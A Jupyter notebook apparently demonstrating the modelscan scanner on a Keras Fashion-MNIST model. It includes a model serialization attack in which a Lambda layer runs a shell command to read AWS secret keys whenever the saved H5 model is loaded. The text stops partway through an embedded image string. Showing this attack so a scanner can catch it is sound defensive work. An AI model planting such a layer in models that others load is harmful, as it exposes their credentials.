notebooks/keras_fashion_mnist.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Setup"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "modelscan, version 0.5.0\n"
     ]
    }
   ],
   "source": [
    "!pip install -q modelscan\n",
    "!modelscan -v"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [],
   "source": [
    "!pip install -q tensorflow==2.13.0\n",
    "!pip install -q transformers==4.31.0\n",
    "!pip install -q matplotlib==3.7.2"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [],
   "source": [
    "import tensorflow as tf\n",
    "import os\n",
    "tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\n",
    "from utils.tensorflow_fashion_mnist_model import train_model, get_predictions"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Saving Model\n",
    "\n",
    "The Keras model used in the notebook is for classification of fashion/clothing items and trained on fashion mnist dataset. [Reference to Tensorflow tutorial for classification of fashion mnist dataset](https://www.tensorflow.org/tutorials/keras/classification). The safe model is saved at `KerasModels/safe_model`. "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Epoch 1/10\n",
      "1875/1875 [==============================] - 2s 1ms/step - loss: 0.4986 - accuracy: 0.8258\n",
      "Epoch 2/10\n",
      "1875/1875 [==============================] - 2s 800us/step - loss: 0.3741 - accuracy: 0.8649\n",
      "Epoch 3/10\n",
      "1875/1875 [==============================] - 1s 772us/step - loss: 0.3391 - accuracy: 0.8766\n",
      "Epoch 4/10\n",
      "1875/1875 [==============================] - 1s 755us/step - loss: 0.3125 - accuracy: 0.8852\n",
      "Epoch 5/10\n",
      "1875/1875 [==============================] - 2s 965us/step - loss: 0.2955 - accuracy: 0.8908\n",
      "Epoch 6/10\n",
      "1875/1875 [==============================] - 2s 905us/step - loss: 0.2808 - accuracy: 0.8963\n",
      "Epoch 7/10\n",
      "1875/1875 [==============================] - 2s 1ms/step - loss: 0.2696 - accuracy: 0.9004\n",
      "Epoch 8/10\n",
      "1875/1875 [==============================] - 2s 895us/step - loss: 0.2587 - accuracy: 0.9039\n",
      "Epoch 9/10\n",
      "1875/1875 [==============================] - 2s 925us/step - loss: 0.2479 - accuracy: 0.9068\n",
      "Epoch 10/10\n",
      "1875/1875 [==============================] - 2s 893us/step - loss: 0.2406 - accuracy: 0.9112\n",
      "313/313 [==============================] - 0s 555us/step - loss: 0.3496 - accuracy: 0.8790\n",
      "\n",
      "Model trained with test accuracy: 0.8790000081062317\n"
     ]
    },
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "/Users/mehrinkiani/mambaforge/envs/py310/lib/python3.10/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.\n",
      "  saving_api.save_model(\n"
     ]
    }
   ],
   "source": [
    "model_directory = \"KerasModels\"\n",
    "if not os.path.isdir(model_directory):\n",
    "    os.mkdir(model_directory)\n",
    "\n",
    "safe_model_path = os.path.join(model_directory, \"safe_model.h5\")\n",
    "model = train_model()\n",
    "model.save(safe_model_path,)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Safe Model Prediction"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "1/1 [==============================] - 0s 42ms/step\n",
      "\n",
      "The model predicts: ['Ankle boot', 'Pullover', 'Trouser'] with probabilities: [ 98.948  99.926 100.   ]\n",
      "\n",
      "The true labels are ['Ankle boot', 'Pullover', 'Trouser']\n"
     ]
    },
    {
     "data": {
      "image/png": "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",
      "text/plain": [
       "<Figure size 640x480 with 3 Axes>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "number_of_predictions = 3\n",
    "get_predictions(model, number_of_predictions)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Scan the Safe Model\n",
    "\n",
    "\n",
    "The scan results include information on the files scanned, and any issues if found. For the safe model scanned, modelscan finds no model serialization attacks, as expected."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "No settings file detected at /Users/mehrinkiani/Documents/modelscan/notebooks/modelscan-settings.toml. Using defaults. \n",
      "\n",
      "Scanning /Users/mehrinkiani/Documents/modelscan/notebooks/KerasModels/safe_model.h5 using modelscan.scanners.H5LambdaDetectScan model scan\n",
      "\n",
      "\u001b[34m--- Summary ---\u001b[0m\n",
      "\n",
      "\u001b[32m No issues found! 🎉\u001b[0m\n"
     ]
    }
   ],
   "source": [
    "!modelscan -p ./KerasModels/safe_model.h5"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Model Serialization Attack\n",
    "\n",
    "Here malicious code is injected in the safe model to read aws secret keys using Keras' lambda layer. The unsafe model is saved at `./KerasModels/unsafe_model.h5`"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "aws_access_key_id=<access_key_id>\n",
      "aws_secret_access_key=<aws_secret_key>\n"
     ]
    }
   ],
   "source": [
    "safe_model_loaded = tf.keras.models.load_model(safe_model_path)\n",
    "\n",
    "attack = (    \n",
    "    lambda x: os.system(\n",
    "        \"\"\"cat ~/.aws/secrets\"\"\"\n",
    "    )\n",
    "    or x\n",
    ")\n",
    "\n",
    "lambda_layer = tf.keras.layers.Lambda(attack)(safe_model_loaded.outputs[-1])\n",
    "unsafe_model = tf.keras.Model(inputs=safe_model_loaded.inputs, outputs=lambda_layer)\n",
    "\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Save the unsafe model\n",
    "unsafe_model_path = os.path.join(model_directory, \"unsafe_model.h5\")\n",
    "unsafe_model.save(unsafe_model_path)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Unsafe Model Prediction\n",
    "\n",
    "The malicious code injected in the unsafe model gets executed when it is loaded. The aws secret keys are displayed. \n",
    "\n",
    "Also, the unsafe model predicts the clothing items just as well as safe model i.e., the code injection attack will not impact the model performance. The unaffected performance of unsafe models makes the ML models an effective attack vector. "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "aws_access_key_id=<access_key_id>\n",
      "aws_secret_access_key=<aws_secret_key>\n",
      "aws_access_key_id=<access_key_id>\n",
      "aws_secret_access_key=<aws_secret_key>\n",
      "1/1 [==============================] - 0s 35ms/step\n",
      "\n",
      "The model predicts: ['Ankle boot', 'Pullover', 'Trouser'] with probabilities: [ 98.948  99.926 100.   ]\n",
      "\n",
      "The true labels are ['Ankle boot', 'Pullover', 'Trouser']\n"
     ]
    },
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAgMAAAC5CAYAAAC1FTxtAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjcuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8pXeV/AAAACXBIWXMAAA9hAAAPYQGoP6dpAAAckklEQVR4nO3de3BV1fXA8cUjIQQSCBAegRgGQcAqCCoWqMjDDkKtCjqllqKMFhVbpbW2WFsBf33oMHbUGVutM/hqBa2KglKK4qDlrVUTQN4CAUwAeScQnjm/P/akN8leG3YeJNy7v58ZR+7KOWef5O5zs3LOOus0iKIoEgAAEKyG9b0DAACgfpEMAAAQOJIBAAACRzIAAEDgSAYAAAgcyQAAAIEjGQAAIHAkAwAABK6xz0KlpaVSUFAgaWlp0qBBg3O9T0hQURRJUVGRZGVlScOGdZOHMndRG5i7iFe+c9crGSgoKJDs7Oxa2zmEbceOHdKpU6c6GYu5i9rE3EW8Otvc9UoG0tLS/rex9PT02tkzBOfw4cOSnZ39v/lUFxJx7hYVFVmxzz77TF128ODBtTp2bm6uGm/evLkV69q1a62OXZ+Yu2emdbXXzmZ89NFHVuy5555Tt9mrVy8rtnv3bivWpUsXK3bkyBErdvDgQXWcRo0aWbH8/HwrNnPmTHX9853v3PVKBsre1PT09PN+UuL8V5enPBNx7mo/v2bNmqnL1vb3rP3Sd8UT5eddHnNX55sMaPM0KSlJ3WaTJk2sWHJyshVLSUmxYqdOnfJaV0SkcWP716C2T+f7e3A2Z5u7FBACABA4rzMDAGrPsWPH1PhTTz1lxWbNmmXFDhw4YMW++eYbdZtNmzb1Wt+X9leYK679xTVo0CArNmHCBCt23XXXVWPvUF98zwxMnTrVii1dulTd5ty5c73G1v5iP3r0qBXTzhaI6MdISUmJFXvvvfes2PXXX++zi3GBMwMAAASOZAAAgMCRDAAAEDiSAQAAAkcBIXAOTZ482Yo9//zz6rKHDx+2YqmpqVZMK3jKyMhQt6kVQmm3d50+fdqKabd2aWOL6AVkx48ft2Lz5s2zYlqhWP/+/dVx/vOf/6hx1C/frox5eXlWzDV3MzMzrZjWP0Cbu61atbJirlsYtbm7efNmK7Z+/XorRgEhAABIGCQDAAAEjmQAAIDAkQwAABA4kgEAAALH3QRALdHuEpg+fboVa9++vbq+VuWvtXTVqp9PnjypblNrE6zFtHG0CnFXS1ffsbUHGmlPjXO1qP3+979vxd59913vfUL9Ki4utmJt2rRRl9XuriktLbVi2l0v2nLa2K71NTt27PBaLl5xZgAAgMCRDAAAEDiSAQAAAkcyAABA4CggBGrJI488YsW0Z61rxXoielvVXbt2eY3dsmVLNa4V8TVubB/2WnHVsWPHrFjr1q3VcbR918bRWhRrBZHt2rVTx9HaEe/du9eKuYrSUHd2797ttZw2T0Tcx0llWlGr1npYK1R1jaMdt3v27PHan3jFmQEAAAJHMgAAQOBIBgAACBzJAAAAgaOAEKglhw4dsmJadzOtYE5ELxacOHGiFbv77rutWN++fdVtal0Nd+7cacXS0tKsWE5OjhVzFYVp36c2TseOHb3WLSoqUscpKSmxYlu2bLFiFBDWvzVr1ngtl5ycrMa191orAtQKELUOhK7jzreroVaomkg4MwAAQOBIBgAACBzJAAAAgSMZAAAgcBQQArVE666ndQB0FTJpHnvsMSvWokULK6YVQYmIHD161IoNHjzYii1atMhrf3r27KnG169fb8W0R9A+/fTTVkzr3JiZmamOo3U6XLJkiRXr16+fuj7qTl5enhXTigW1Y0REn7taV0ytcFfrlOnqaKgdj9qxrBXjJhLODAAAEDiSAQAAAkcyAABA4EgGAAAIHAWEcUgromrY0M7rfB8BKqIXzGhduDZt2qSu361bN++xEsGJEye8ltPeA+1n7XLbbbdZsTlz5nivf+DAASumFQtOmTLFimmPcX3ttdfUcfbv32/F8vPzrdiYMWOsmFZAqM1xEb3bXG5urros6tenn35qxbTPKa1QUER/r7ViQa37pjYnMjIy1HG0zzltn7Kzs9X1EwVnBgAACBzJAAAAgSMZAAAgcCQDAAAEjmQAAIDAcTdBNWktLLWYVj379ddfq9tcvny5FRsxYoQVO